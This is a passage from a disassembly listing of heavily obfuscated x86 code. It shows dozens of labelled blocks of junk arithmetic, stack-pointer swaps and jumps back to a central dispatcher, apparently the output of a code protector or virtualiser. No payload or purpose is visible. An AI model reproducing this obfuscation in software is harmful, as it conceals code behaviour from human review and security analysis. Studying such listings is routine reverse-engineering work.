; ---------------------------------------------------------------------------


loc_591369:				; CODE XREF: sub_57DD3A+206D1j
		push	eax
		mov	al, 69h
		add	al, 71h
		or	al, 0BCh
		push	edx
		jmp	loc_58F273
; ---------------------------------------------------------------------------


loc_591376:				; CODE XREF: sub_57DD3A+2545Cj
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59137B:				; CODE XREF: sub_57DD3A+1FFB5j
		push	44CAh
		mov	[esp+46h+var_46], edx
		mov	edx, esp
		push	esi
		mov	esi, 41356385h
		shr	esi, 1
		sub	esi, 143B5D04h
		jmp	loc_59547D
; ---------------------------------------------------------------------------


loc_591398:				; CODE XREF: sub_57DD3A+1EBB3j
		push	eax
		mov	eax, 4
		push	edi
		mov	edi, 52026B58h
		dec	edi
		add	edi, 0DB9DED3Dh
		jmp	loc_596679
; ---------------------------------------------------------------------------


loc_5913B0:				; CODE XREF: sub_57DD3A+12947j
		push	ecx
		jmp	loc_597803
; ---------------------------------------------------------------------------


loc_5913B6:				; CODE XREF: sub_57DD3A+1A37Bj
		add	edi, 28D72531h
		add	edi, ecx
		push	ebp
		mov	ebp, 28D72531h
		sub	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 7B9D44FBh
		sub	edi, ebp
		jmp	loc_596796
; ---------------------------------------------------------------------------


loc_5913D4:				; CODE XREF: sub_57DD3A+1435Aj
		mov	bl, 0AAh
		jmp	loc_5967A0
; ---------------------------------------------------------------------------


loc_5913DB:				; CODE XREF: sub_57DD3A+1EFC4j
		mov	[esp+1Ah+var_1A], ebx
		mov	ebx, esp
		jmp	loc_58E9D1
; ---------------------------------------------------------------------------


loc_5913E5:				; CODE XREF: sub_57DD3A+1F6D0j
		mov	ecx, [esp+1Ah+var_1A]
		add	esp, 4
		pop	esi
		push	edi
		mov	edi, ebp
		push	edi
		add	[esp+1Ah+var_1A], 50643355h
		pop	ecx
		push	ebp
		mov	ebp, 50643355h
		sub	ecx, ebp
		jmp	loc_596F06
; ---------------------------------------------------------------------------


loc_591405:				; CODE XREF: sub_57DD3A+20873j
		xchg	ebx, [esp+1Ah+var_1A]
		jmp	loc_59DB24
; ---------------------------------------------------------------------------


loc_59140D:				; CODE XREF: sub_57DD3A+1DA38j
		and	dl, ch
		jmp	loc_5A252D
; ---------------------------------------------------------------------------


loc_591414:				; CODE XREF: sub_57DD3A+12010j
		pop	esp
		mov	ebx, edi
		mov	edi, [esp+2Ah+var_2A]
		jmp	loc_59BB09
; ---------------------------------------------------------------------------


loc_59141F:				; CODE XREF: sub_57DD3A+20460j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_591424:				; CODE XREF: sub_57DD3A+19B54j
		xor	[esp+2Ah+var_2A], ebx
		xor	ebx, [esp+2Ah+var_2A]
		mov	esp, [esp+2Ah+var_2A]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_591432:				; CODE XREF: sub_57DD3A+1CD12j
		mov	esi, 408D609Dh
		inc	esi
		or	esi, 5FF24D3Eh
		jmp	loc_59A2B2
; ---------------------------------------------------------------------------


loc_591443:				; CODE XREF: sub_57DD3A+1F1E7j
		neg	bh
		inc	bh
		push	eax
		mov	ah, 0Ch
		jmp	loc_5A10E0
; ---------------------------------------------------------------------------


loc_59144F:				; CODE XREF: sub_57DD3A+1EE36j
		movzx	eax, al
		mov	dx, word ptr [esp+2Eh+var_2E]
		jmp	loc_5A245D
; ---------------------------------------------------------------------------


loc_59145B:				; CODE XREF: sub_57DD3A+1AA2Cj
		add	eax, ebp
		push	ebx
		push	edx
		mov	edx, 5D6A3D60h
		push	ebp
		mov	ebp, 99F6936Ah
		mov	ebx, ebp
		pop	ebp
		jmp	loc_59E7E8
; ---------------------------------------------------------------------------


loc_591472:				; CODE XREF: sub_57DD3A+23C75j
		mov	edx, ebx
		jmp	loc_59776C
; ---------------------------------------------------------------------------


loc_591479:				; CODE XREF: sub_57DD3A+116F5j
		pop	esi
		xor	esi, 669B0A55h
		pop	edx
		shl	esi, 5
		not	esi
		xor	esi, 452A3C25h
		xor	esi, 14BC2FBAh
		push	esi
		add	[esp+40h+var_42+2], 66AF21EAh
		pop	ebx
		sub	ebx, 66AF21EAh
		mov	esi, [esp+3Ch+var_3E+2]
		add	esp, 4


loc_5914AA:				; CODE XREF: sub_57DD3A+1351Ej
		push	45A9h
		mov	[esp+3Ch+var_3E+2], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59CDA8
; ---------------------------------------------------------------------------


loc_5914BF:				; CODE XREF: sub_57DD3A+21AEFj
		shr	esi, 7
		shl	esi, 3
		sub	esi, 0AAD5CEEEh
		add	ebx, 757E5006h
		sub	ebx, esi
		sub	ebx, 757E5006h
		pop	esi
		sub	ebx, 5591729Ah
		sub	ebx, 39115556h
		sub	ebx, eax
		add	ebx, 39115556h
		push	4471h
		mov	[esp+3Ch+var_3E+2], ebp
		mov	ebp, 415A2E29h
		add	ebp, 0FFFFFFFFh
		dec	ebp
		not	ebp
		push	ecx
		jmp	loc_5947A4
; ---------------------------------------------------------------------------


loc_591507:				; CODE XREF: sub_57DD3A+1BC9Bj
		shl	ebx, 1
		jmp	loc_5A2BF9
; ---------------------------------------------------------------------------


loc_59150E:				; CODE XREF: sub_57DD3A+21449j
		pop	eax
		push	ebx
		push	ecx
		mov	ch, 0CDh
		shr	ch, 2
		push	edx
		mov	dl, 0EEh
		jmp	loc_590D85
; ---------------------------------------------------------------------------


loc_59151E:				; CODE XREF: sub_57DD3A+1339Fj
		push	ebx
		push	esi
		jmp	loc_59EE0A
; ---------------------------------------------------------------------------


loc_591525:				; CODE XREF: sub_57DD3A+1603Ej
		shl	ebx, 1
		add	ebx, 90F05924h
		xor	esi, ebx
		pop	ebx
		and	esi, 62891083h
		shl	esi, 7
		add	esi, 0FF77BE84h
		mov	ebp, esi
		jmp	loc_59CBA0
; ---------------------------------------------------------------------------


loc_591546:				; CODE XREF: sub_57DD3A+1718Aj
		add	ebp, 4
		xchg	ebp, [esp+14h+var_16+2]
		pop	esp
		and	eax, ebx
		jmp	loc_592584
; ---------------------------------------------------------------------------


loc_591554:				; DATA XREF: sub_57DD3A+103F2o
		mov	cx, word ptr [esp+10h+var_12+2]
		push	37D8h
		mov	[esp+14h+var_16+2], eax
		jmp	loc_59566C
; ---------------------------------------------------------------------------


loc_591565:				; CODE XREF: sub_57DD3A+14690j
		not	eax
		jmp	loc_592E21
; ---------------------------------------------------------------------------


loc_59156C:				; CODE XREF: sub_57DD3A+1E78Ej
		pop	esp
		mov	[esp+10h+var_12+2], edi
		push	ebx
		mov	ebx, 13C87B75h
		mov	edi, 6F8D3629h
		xor	edi, ebx
		pop	ebx
		jmp	loc_59E287
; ---------------------------------------------------------------------------


loc_591583:				; CODE XREF: sub_57DD3A+24569j
		xor	ebp, edx
		pop	edx
		jmp	loc_593768
; ---------------------------------------------------------------------------


loc_59158B:				; CODE XREF: sub_57DD3A+1B8C1j
		sub	al, bh
		add	al, 8Fh
		push	bx
		mov	bh, 42h
		add	al, 67h
		sub	al, bh
		sub	al, 67h
		pop	bx
		jmp	loc_5984C8
; ---------------------------------------------------------------------------


loc_5915A0:				; CODE XREF: sub_57DD3A+1B647j
		mov	esi, esp
		push	edx
		jmp	loc_591E98
; ---------------------------------------------------------------------------


loc_5915A8:				; CODE XREF: sub_57DD3A+23EE2j
		xor	edx, [esp+10h+var_12+2]
		pop	esp
		sub	esp, 2
		mov	word ptr [esp+10h+var_12+2], bx
		push	ecx
		jmp	loc_598F9B
; ---------------------------------------------------------------------------


loc_5915B9:				; CODE XREF: sub_57DD3A+22FEAj
		mov	dh, byte ptr [esp+14h+var_16+2]
		add	esp, 4
		xor	dh, 0A6h
		sub	dh, 9Ch
		sub	cl, dh
		pop	edx
		jmp	$+5
		add	al, cl
		pop	ecx
		jmp	loc_5A2413
; ---------------------------------------------------------------------------
		lodsd
		push	241Ah
		mov	[esp+0Ch+var_E+2], ecx
		mov	ecx, 43360B90h
		sub	eax, ecx
		pop	ecx
		add	eax, 13290CD3h
		jmp	loc_595EA1
; ---------------------------------------------------------------------------


loc_5915F0:				; CODE XREF: sub_57DD3A+1E7B4j
		pop	ecx
		sub	ebx, esi
		jmp	loc_59A169
; ---------------------------------------------------------------------------


loc_5915F8:				; CODE XREF: sub_57DD3A+1C0F3j
		push	edx
		jmp	loc_58ED40
; ---------------------------------------------------------------------------


loc_5915FE:				; CODE XREF: sub_57DD3A+186EBj
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 1FA84A1Dh
		dec	edx
		inc	edx
		jmp	loc_593228
; ---------------------------------------------------------------------------


loc_591614:				; CODE XREF: sub_57DD3A+1F9E7j
		add	edi, ebx
		pop	ebx
		add	edi, ecx
		sub	edi, 14E0610h
		pop	ecx
		jmp	loc_59C597
; ---------------------------------------------------------------------------


loc_591625:				; CODE XREF: sub_57DD3A+1AAF1j
		add	dh, cl
		jmp	loc_5A2B4F
; ---------------------------------------------------------------------------


loc_59162C:				; CODE XREF: sub_57DD3A+1F7B2j
		shl	ebx, 4
		sub	ebx, 0A93652BEh
		sub	edx, 16445229h
		add	edx, ebx
		add	edx, 16445229h
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		xor	edx, [esp+4+var_4]
		xor	[esp+4+var_4], edx
		xor	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59165F:				; CODE XREF: sub_57DD3A+2337Ej
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	ebp
		sub	esp, 4
		mov	[esp+10h+var_12+2], esp
		add	[esp+10h+var_12+2], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_595C4D
; ---------------------------------------------------------------------------


loc_591687:				; CODE XREF: sub_57DD3A+111DBj
		sub	eax, 68BE5230h
		pop	ecx
		add	ebp, eax
		push	[esp+32h+var_32]
		pop	eax
		add	esp, 4
		jmp	loc_598E91
; ---------------------------------------------------------------------------


loc_59169E:				; CODE XREF: sub_57DD3A+161C5j
		push	[esp+2Eh+var_2E]
		pop	ecx
		push	edi
		jmp	loc_595A1F
; ---------------------------------------------------------------------------


loc_5916A8:				; CODE XREF: sub_57DD3A+221C9j
		pop	ecx
		sub	eax, 4
		jmp	loc_59C4C5
; ---------------------------------------------------------------------------


loc_5916B3:				; CODE XREF: sub_57DD3A+1CA54j
		pop	esi
		jmp	loc_5A21F7
; ---------------------------------------------------------------------------


loc_5916B9:				; CODE XREF: sub_57DD3A+17CFFj
		mov	[esp+2Ah+var_2A], eax
		mov	eax, 71AB0675h
		jmp	loc_5A2240
; ---------------------------------------------------------------------------


loc_5916C6:				; CODE XREF: sub_57DD3A+20ED4j
		push	eax
		mov	eax, 2A092957h
		jmp	loc_5936A2
; ---------------------------------------------------------------------------


loc_5916D1:				; CODE XREF: sub_57DD3A+117FBj
		sub	ebp, 4
		xchg	ebp, [esp+5Ch+var_5C]
		pop	esp
		mov	[esp+58h+var_58], edi
		push	ebx
		mov	ebx, 47762526h
		push	eax
		mov	eax, 68F01A04h
		mov	edi, 0DE860B26h
		jmp	loc_592CCC
; ---------------------------------------------------------------------------


loc_5916F4:				; CODE XREF: sub_57DD3A+17F2Ej
		pop	ebx
		jmp	loc_59C19D
; ---------------------------------------------------------------------------


loc_5916FA:				; CODE XREF: sub_57DD3A+20600j
		add	esi, eax
		pop	eax
		jmp	loc_5962F2
; ---------------------------------------------------------------------------


loc_591702:				; CODE XREF: sub_57DD3A+1D343j
		mov	ebx, edx
		pop	edx
		jmp	loc_59B7D3
; ---------------------------------------------------------------------------


loc_59170A:				; CODE XREF: sub_57DD3A+176ACj
		mov	ebp, [esp+54h+var_54]
		add	esp, 4
		jmp	loc_59BFDC
; ---------------------------------------------------------------------------


loc_591718:				; CODE XREF: sub_57DD3A+13F9Ej
		push	eax
		push	edi
		mov	edi, 667F2A4Ch
		mov	eax, 0EFEF1268h
		add	eax, edi
		pop	edi
		shr	eax, 6
		or	eax, 7B5436AEh
		shl	eax, 2
		jmp	loc_59EBEC
; ---------------------------------------------------------------------------


loc_591737:				; CODE XREF: sub_57DD3A+1B678j
		mov	edx, 2Ch
		add	edx, 7D9A76D0h
		sub	edx, 8587B1Dh
		add	edx, 419D1FF8h
		jmp	loc_5A1B0F
; ---------------------------------------------------------------------------


loc_591753:				; CODE XREF: sub_57DD3A+1FB65j
		push	eax
		mov	eax, 0F287661h
		jmp	loc_59E6A4
; ---------------------------------------------------------------------------


loc_59175E:				; CODE XREF: sub_57DD3A+2519Ej
		add	esi, 4
		sub	esi, 4
		jmp	loc_59F90E
; ---------------------------------------------------------------------------


loc_59176F:				; CODE XREF: sub_57DD3A+221ABj
		and	ebp, 31917510h
		xchg	ecx, ebp
		not	ecx
		jmp	loc_598749
; ---------------------------------------------------------------------------


loc_59177E:				; CODE XREF: sub_57DD3A+23D1Fj
		mov	ebx, 51446C4Ch
		shl	ebx, 8
		jmp	loc_5A2338
; ---------------------------------------------------------------------------


loc_59178B:				; CODE XREF: sub_57DD3A+21B43j
		push	esp
		mov	edx, [esp+5Ch+var_5C]
		add	esp, 4
		push	edi
		jmp	loc_59AA01
; ---------------------------------------------------------------------------


loc_59179B:				; CODE XREF: sub_57DD3A+22C39j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+5Ch+var_5C]
		pop	esp
		jmp	loc_59807E
; ---------------------------------------------------------------------------


loc_5917AF:				; CODE XREF: sub_57DD3A+1ABCBj
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp+54h+var_54]
		jmp	loc_596878
; ---------------------------------------------------------------------------


loc_5917BB:				; CODE XREF: sub_57DD3A+13003j
		pop	edi
		jmp	loc_59AB9B
; ---------------------------------------------------------------------------


loc_5917C1:				; CODE XREF: sub_57DD3A+247EEj
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp+58h+var_58], esi
		jmp	loc_5994DF
; ---------------------------------------------------------------------------


loc_5917DA:				; CODE XREF: sub_57DD3A+2005Cj
		add	eax, 43AC6E58h
		xchg	eax, edi
		pop	eax
		xor	edi, 0A75600Bh
		add	ebx, edi
		push	[esp+54h+var_54]
		mov	edi, [esp+58h+var_58]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp+54h+var_54], eax
		mov	eax, 4
		push	esi
		mov	esi, 6337809h
		dec	esi
		jmp	loc_58ECD3
; ---------------------------------------------------------------------------


loc_591812:				; CODE XREF: sub_57DD3A+185B3j
		mov	esi, 4
		add	[esp+58h+var_54], 46E5EEDh
		add	[esp+58h+var_54], esi
		jmp	loc_59DE52
; ---------------------------------------------------------------------------


loc_591828:				; CODE XREF: sub_57DD3A+1B19Ej
		mov	[esp+58h+var_58], eax
		push	esi
		mov	esi, 30424758h
		xor	esi, 0FFC64E6h
		shl	esi, 3
		jmp	loc_594815
; ---------------------------------------------------------------------------


loc_59183F:				; CODE XREF: sub_57DD3A+17EE6j
		push	41BEh
		jmp	loc_59B406
; ---------------------------------------------------------------------------


loc_591849:				; CODE XREF: sub_57DD3A+237DDj
		xor	ecx, 0A26D5A53h
		add	eax, ecx
		pop	ecx
		pop	edi
		jmp	loc_5A115D
; ---------------------------------------------------------------------------


loc_591858:				; CODE XREF: sub_57DD3A+11AD9j
		push	cx
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_591860:				; CODE XREF: sub_57DD3A+23C54j
		mov	[esp+0], ecx
		mov	ecx, ebx
		mov	ebx, ecx
		jmp	loc_590A4D
; ---------------------------------------------------------------------------


loc_59186C:				; CODE XREF: sub_57DD3A+224AFj
		pop	dword ptr [esp+0]
		pop	esp
		push	6EBEh
		mov	[esp+44h+var_46+2], edx
		jmp	loc_59C3EE
; ---------------------------------------------------------------------------


loc_59187D:				; CODE XREF: sub_57DD3A+11624j
		pop	eax
		jmp	loc_599D0D
; ---------------------------------------------------------------------------


loc_591883:				; CODE XREF: sub_57DD3A+16BACj
		xor	ebx, 29B13813h
		jmp	loc_591F37
; ---------------------------------------------------------------------------


loc_59188E:				; CODE XREF: sub_57DD3A+24779j
		xchg	esi, [esp+22h+var_22]
		pop	esp
		mov	[esp+1Eh+var_1E], esi
		mov	esi, 61B649B6h
		shr	esi, 6
		neg	esi
		shl	esi, 8
		not	esi
		add	esi, 7DB20699h
		sub	eax, esi
		mov	esi, [esp+1Eh+var_1E]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+1Eh+var_1E]
		pop	esp
		mov	[esp+1Ah+var_1A], edx
		push	ecx
		push	2C5F1E43h
		mov	ecx, [esp+22h+var_22]
		jmp	loc_5A1892
; ---------------------------------------------------------------------------


loc_5918D9:				; CODE XREF: sub_57DD3A+1F200j
		sub	ebx, eax
		pop	eax
		xchg	ebx, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		push	esp
		jmp	loc_59C078
; ---------------------------------------------------------------------------


loc_5918E8:				; CODE XREF: sub_57DD3A+1945Fj
		pop	ebp
		push	ebp
		push	esp
		mov	ebp, [esp+26h+var_26]
		add	esp, 4
		push	11BDh
		mov	[esp+26h+var_26], ebx
		jmp	loc_596256
; ---------------------------------------------------------------------------


loc_5918FE:				; CODE XREF: sub_57DD3A+1B5F4j
		xor	edi, ebx
		neg	ebx
		xchg	ebx, edi
		shl	edi, 2
		push	ebx
		mov	ebx, 3AF775D0h
		add	edi, ebx
		mov	ebx, [esp+2Ah+var_2A]
		add	esp, 4
		add	ebp, edi
		mov	edi, [esp+26h+var_26]
		add	esp, 4
		push	eax
		mov	eax, 2
		jmp	loc_58F2BD
; ---------------------------------------------------------------------------


loc_59192B:				; CODE XREF: sub_57DD3A+1834Bj
		xor	eax, [esp+26h+var_26]
		mov	esp, [esp+26h+var_26]
		dec	word ptr [esp+26h+var_26]
		pushf
		jmp	loc_5973F7
; ---------------------------------------------------------------------------


loc_59193B:				; CODE XREF: sub_57DD3A+15703j
		mov	ch, bh
		pop	ebx
		mov	bh, ch
		pop	ecx
		pop	edx
		push	[esp+1Eh+var_1E]
		jmp	loc_594D0C
; ---------------------------------------------------------------------------


loc_59194A:				; CODE XREF: sub_57DD3A+1EB50j
		xor	[esp+22h+var_22], ecx
		xor	ecx, [esp+22h+var_22]
		pop	esp
		push	6039h
		jmp	loc_596ACB
; ---------------------------------------------------------------------------


loc_59195B:				; CODE XREF: sub_57DD3A+12926j
		add	eax, 1
		shl	eax, 1
		jmp	loc_58F01D
; ---------------------------------------------------------------------------


loc_591965:				; CODE XREF: sub_57DD3A+150B6j
		sub	edi, 4A7B15CFh
		add	edi, ebx
		add	edi, 4A7B15CFh
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		xor	edi, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], edi
		xor	edi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		cmp	cx, ax
		pushf
		jmp	loc_59D782
; ---------------------------------------------------------------------------


loc_59198F:				; CODE XREF: sub_57DD3A+1D23Dj
		mov	ecx, 4
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		mov	[esp+6+var_8+2], ebp
		mov	ebp, 45002419h
		dec	ebp
		sub	ebp, 0FFFFFFFFh
		shl	ebp, 2
		push	edi
		mov	edi, esp
		jmp	loc_595695
; ---------------------------------------------------------------------------


loc_5919B7:				; CODE XREF: sub_57DD3A+21BE1j
		push	eax
		mov	eax, 60B553FEh
		neg	eax
		xor	eax, 88B4D49Dh
		add	ebp, 45DA002Fh
		add	ebp, eax
		sub	ebp, 45DA002Fh
		pop	eax
		jmp	loc_599C42
; ---------------------------------------------------------------------------


loc_5919D8:				; CODE XREF: sub_57DD3A+229F5j
		mov	ecx, 3DA71ECEh
		jmp	loc_59F0DC
; ---------------------------------------------------------------------------


loc_5919E2:				; CODE XREF: sub_57DD3A+1D92Fj
		or	edx, 361D4589h
		jmp	loc_58FEF0
; ---------------------------------------------------------------------------


loc_5919ED:				; CODE XREF: sub_57DD3A+1D256j
		neg	eax
		push	ebp
		mov	ebp, 5F9A0CDFh
		not	ebp
		inc	ebp
		jmp	loc_59E896
; ---------------------------------------------------------------------------


loc_5919FD:				; CODE XREF: sub_57DD3A+18159j
		add	ebp, 4
		xchg	ebp, [esp+0Eh+var_E]
		mov	esp, [esp+0Eh+var_E]
		sub	esp, 4
		mov	[esp+12h+var_12], esi
		mov	esi, 7A0F1BC1h
		shr	esi, 4
		jmp	loc_5A1938
; ---------------------------------------------------------------------------


loc_591A19:				; CODE XREF: sub_57DD3A+1BC11j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+12h+var_12]
		jmp	loc_59DDA0
; ---------------------------------------------------------------------------


loc_591A2D:				; CODE XREF: sub_57DD3A+12979j
		mov	edx, 2CB2E6Ch
		sub	[esp+1Ah+var_12], edx
		mov	edx, [esp+1Ah+var_1A]
		add	esp, 4
		jmp	loc_59B990
; ---------------------------------------------------------------------------


loc_591A41:				; CODE XREF: sub_57DD3A+149BDj
		pop	edi
		add	esp, 4
		jmp	loc_5911CA
; ---------------------------------------------------------------------------


loc_591A4A:				; CODE XREF: sub_57DD3A+110DEj
		pop	esi
		push	edi
		push	26F61C9Eh
		jmp	loc_59F5D7
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+26h+var_26]
		push	edi
		mov	edi, esp
		push	4A9h
		mov	[esp+2Eh+var_2E], eax
		push	4
		pop	eax
		push	ebp
		push	7E5Ah
		mov	[esp+36h+var_36], edx
		mov	edx, 112D0278h
		jmp	loc_59FD48
; ---------------------------------------------------------------------------


loc_591A7E:				; CODE XREF: sub_57DD3A+10AC1j
		mov	ebp, 71870B1h
		push	0
		sub	[esp+1Ch+var_1E+2], ebp
		pop	ebp
		and	ebp, 77AB65F4h
		add	ebp, 3EEA5848h
		neg	ebp
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebp
		not	[esp+1Ch+var_1E+2]
		mov	ebp, [esp+1Ch+var_1E+2]
		add	esp, 4
		add	ebp, 292771F7h
		add	edi, ebp
		push	[esp+18h+var_1A+2]
		jmp	loc_5948F4
; ---------------------------------------------------------------------------


loc_591ABC:				; CODE XREF: sub_57DD3A+1B1D1j
		push	esi
		sub	esp, 4
		jmp	loc_597409
; ---------------------------------------------------------------------------


loc_591AC5:				; CODE XREF: sub_57DD3A+21291j
		sub	edx, ebp
		push	ecx
		mov	ecx, 1041216Fh
		or	ecx, 6B592155h
		shr	ecx, 6
		sub	ecx, 18150E4Dh
		xor	ecx, 0C6C04F2Ah
		sub	edx, ecx
		pop	ecx
		pop	ebp
		jmp	loc_5A2EDD
; ---------------------------------------------------------------------------


loc_591AEB:				; CODE XREF: sub_57DD3A+1A19Dj
		sub	ebx, 1431427h
		add	ebp, ebx
		push	[esp+20h+var_22+2]
		pop	ebx
		sub	esp, 4
		mov	[esp+24h+var_26+2], ebx
		jmp	loc_5A03C6
; ---------------------------------------------------------------------------


loc_591B02:				; CODE XREF: sub_57DD3A+18AD5j
		add	esp, 4
		push	3ACh
		mov	[esp+24h+var_26+2], ecx
		mov	ecx, 200h
		and	eax, ecx
		mov	ecx, [esp+24h+var_26+2]
		sub	esp, 4
		mov	[esp+28h+var_2A+2], edi
		sub	esp, 4
		sub	esp, 4
		mov	[esp+30h+var_32+2], esp
		add	[esp+30h+var_32+2], 4
		pop	[esp+30h+var_32+2]
		add	[esp+2Ch+var_2E+2], 4
		pop	edi
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], ebp
		jmp	loc_5A2479
; ---------------------------------------------------------------------------


loc_591B46:				; CODE XREF: sub_57DD3A+1F46Aj
		add	esp, 4
		jmp	loc_5A2DD4
; ---------------------------------------------------------------------------


loc_591B4E:				; CODE XREF: sub_57DD3A+25275j
		mov	ebx, 133E622Ah
		and	ecx, ebx
		pop	ebx
		xor	ecx, 617E75EDh
		shl	ecx, 2
		sub	ecx, 73E55EEAh
		mov	edi, ecx
		pop	ecx
		jmp	loc_59DC3D
; ---------------------------------------------------------------------------


loc_591B6D:				; CODE XREF: sub_57DD3A+1248Aj
		pop	[esp+3Eh+var_3E]
		push	[esp+3Ah+var_3A]
		push	[esp+3Eh+var_3E]
		pop	eax
		sub	esp, 4
		mov	[esp+42h+var_42], ecx
		push	esp
		mov	ecx, [esp+46h+var_46]
		add	esp, 4
		add	ecx, 4
		sub	esp, 4
		mov	[esp+46h+var_46], esi
		mov	esi, 55294F63h
		push	ebp
		mov	ebp, 7C4F3A5Eh
		add	esi, ebp
		jmp	loc_599499
; ---------------------------------------------------------------------------


loc_591BAB:				; CODE XREF: sub_57DD3A+2423Bj
		pop	esp
		shl	ecx, 4
		shr	ecx, 2
		sub	ecx, 651D5C24h
		add	ecx, 6E674AD8h
		sub	ecx, 10130558h
		push	ecx
		jmp	loc_5958D3
; ---------------------------------------------------------------------------


loc_591BCA:				; CODE XREF: sub_57DD3A+1A63Fj
		pop	eax
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], esi
		jmp	loc_5A2487
; ---------------------------------------------------------------------------


loc_591BD6:				; CODE XREF: sub_57DD3A+20311j
		xor	ebp, 390B4567h
		add	edi, ebp
		pop	ebp
		add	edi, 2D5D6518h
		jmp	loc_59BB90
; ---------------------------------------------------------------------------


loc_591BEA:				; CODE XREF: sub_57DD3A+11FF7j
		xor	bl, al
		push	eax
		jmp	loc_5978E1
; ---------------------------------------------------------------------------


loc_591BF2:				; CODE XREF: sub_57DD3A+15B5Ej
		add	esp, 4
		push	eax
		mov	eax, 2
		add	edx, 12F6713Dh
		add	edx, eax
		sub	edx, 12F6713Dh
		jmp	loc_595D6C
; ---------------------------------------------------------------------------


loc_591C0E:				; CODE XREF: sub_57DD3A+23E27j
		push	ecx
		mov	ecx, 67425B1h
		sub	ecx, 73043F47h
		jmp	loc_5995C3
; ---------------------------------------------------------------------------


loc_591C1F:				; CODE XREF: sub_57DD3A+218E4j
		mov	dh, ch
		mov	[edi+eax*4+1], dh
		mov	edx, [esp+14h+var_16+2]
		add	esp, 4
		mov	ecx, [esp+10h+var_12+2]
		add	esp, 4
		push	[esp+0Ch+var_E+2]
		mov	ebx, [esp+10h+var_12+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_591C48:				; CODE XREF: sub_57DD3A+23101j
		pop	edi
		push	edi
		mov	edi, 2FC120AEh
		shr	edi, 6
		or	edi, 6E282997h
		xor	edi, 6EBF2D93h
		sub	ebp, 151319Eh
		jmp	loc_58EB02
; ---------------------------------------------------------------------------


loc_591C69:				; CODE XREF: sub_57DD3A+11059j
		xchg	edx, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		mov	[esp+1Eh+var_1E], ecx
		jmp	loc_599649
; ---------------------------------------------------------------------------


loc_591C77:				; CODE XREF: sub_57DD3A+212F5j
		sub	al, bl
		sub	al, 1Ch
		jmp	loc_59E691
; ---------------------------------------------------------------------------


loc_591C80:				; CODE XREF: sub_57DD3A+17879j
		pop	edi
		mov	edx, esi
		pop	esi
		jmp	loc_5906CF
; ---------------------------------------------------------------------------


loc_591C89:				; CODE XREF: sub_57DD3A+1F777j
		push	41842968h
		pop	edi
		jmp	loc_599050
; ---------------------------------------------------------------------------


loc_591C94:				; CODE XREF: sub_57DD3A+15280j
		shr	ebp, 7
		xor	ebp, 46F21DD2h
		sub	ebp, 3057A4BEh
		add	eax, ebp
		pop	ebp
		jmp	loc_59A755
; ---------------------------------------------------------------------------


loc_591CAB:				; CODE XREF: sub_57DD3A+1BE73j
		push	dx
		push	ecx
		mov	cl, 0CAh
		mov	dl, 0E3h
		sub	dl, cl
		pop	ecx
		add	al, dl
		pop	dx
		sub	al, 0Eh
		sub	al, bl
		add	al, 0Eh
		push	ecx
		push	edx
		mov	dl, 27h
		dec	dl
		add	dl, 29h
		mov	cl, dl
		jmp	loc_5A0022
; ---------------------------------------------------------------------------


loc_591CCF:				; CODE XREF: sub_57DD3A+2127Dj
		add	esp, 4
		jmp	loc_5A29C5
; ---------------------------------------------------------------------------


loc_591CD7:				; CODE XREF: sub_57DD3A+2113Cj
		push	edi
		jmp	loc_591718
; ---------------------------------------------------------------------------


loc_591CDD:				; CODE XREF: sub_57DD3A+132ECj
		pop	[esp+2Ah+var_2A]
		jmp	loc_597B24
; ---------------------------------------------------------------------------


loc_591CE5:				; CODE XREF: sub_57DD3A+10CC6j
		mov	al, 0CDh
		xor	dl, al
		pop	ax
		jmp	loc_59C9EE
; ---------------------------------------------------------------------------


loc_591CF0:				; CODE XREF: sub_57DD3A+22AD9j
		pop	eax
		mov	cl, dh
		pop	edx
		jmp	loc_59B207
; ---------------------------------------------------------------------------


loc_591CF9:				; CODE XREF: sub_57DD3A+159A3j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_591CFE:				; CODE XREF: sub_57DD3A+18CC6j
		mov	[esp-6+arg_0+2], edi
		push	edx
		jmp	loc_59B664
; ---------------------------------------------------------------------------


loc_591D07:				; CODE XREF: sub_57DD3A+204C5j
		pop	edx
		or	esi, ecx
		pop	ecx
		xor	esi, 471C7D9Dh
		jmp	loc_5A2304
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-0Ah+arg_6]
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_599D8B
; ---------------------------------------------------------------------------


loc_591D23:				; CODE XREF: sub_57DD3A+1B88Aj
		mov	ebx, 45B31BB3h
		sub	ebx, 724656E2h
